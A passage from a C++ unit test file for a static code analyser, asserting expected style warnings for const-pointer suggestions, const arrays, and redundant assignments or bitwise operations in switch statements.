&i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" 